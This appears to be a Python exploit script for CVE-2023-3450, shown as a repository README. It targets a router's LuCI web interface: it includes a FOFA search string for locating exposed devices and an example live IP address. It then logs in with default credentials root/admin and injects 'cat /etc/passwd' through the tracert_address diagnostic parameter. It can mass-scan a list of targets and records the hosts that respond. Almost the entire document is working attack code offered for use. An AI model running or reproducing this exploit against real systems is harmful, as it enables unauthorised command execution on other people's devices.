README.md
Rendering markdown...
# -*- coding:utf-8 -*-
import argparse, sys, base64, requests
import re
from multiprocessing.dummy import Pool
requests.packages.urllib3.disable_warnings()
# fofa:icon_hash="-399311436"
# 案例:http://123.54.231.201:6060
def banner():
content = '''
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗██║ ██║██╔════╝██╔═████╗
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝███████║███████╗██║██╔██║
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚═══██╗╚════██║╚════██║████╔╝██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██████╔╝ ██║███████║╚██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═════╝ ╚═╝╚══════╝ ╚═════╝
'''
print(content)
def poc(target):
url = target + '/cgi-bin/luci?u=root&p=admin&_=0.8260737660449504'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
'Accept-Encoding': 'gzip, deflate'
}
try:
res = requests.get(url, headers=headers, verify=False, timeout=5).text
if 'ok' in res:
print(f'[+]{target}登录成功')
with open('result.txt', 'a+', encoding='utf-8') as f:
f.write(target + '\n')
return True
else:
print(f'[-]{target}登陆失败')
return False
except:
print(f'[-]{target}无法进入')
def exp(target):
url = target + '/cgi-bin/luci/;stok=b3bafdbb03f0dfcf96bef095f6060d64/admin/diagnosis?diag=tracert&tracert_address=127.0.0.1%3Bcat+%2Fetc%2Fpasswd&seq=0'
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
'Accept-Encoding': 'gzip, deflate',
'Cookie': 'sysauth=2c695fe03878d9a754730dce32bfd4ca'
}
res = requests.get(url, headers=headers, verify=False, timeout=5).text
if 'root' in res:
print(f'[+]{target}有命令执行漏洞')
print(re.findall('msg":"(.*?)"',res))
else:
print(f'[-]{target}没有命令执行漏洞')
def main():
banner()
parser = argparse.ArgumentParser(description='CVE-2023-3450')
parser.add_argument('-u', '--url', dest='url', type=str, help='example:http://example.com')
parser.add_argument('-f', '--file', dest='file', type=str, help='url.txt')
args = parser.parse_args()
if args.url and not args.file:
if poc(args.url):
exp(args.url)
elif args.file and not args.url:
url_list = []
with open(args.file, 'r', encoding='utf-8') as f:
for url in f.readlines():
url_list.append(url.strip().replace('\n', ''))
mp = Pool(10)
mp.map(poc, url_list)
mp.close()
mp.join()
else:
print(f'Usage:\n\tpython3 {sys.argv[0]} -h')
if __name__ == '__main__':
main()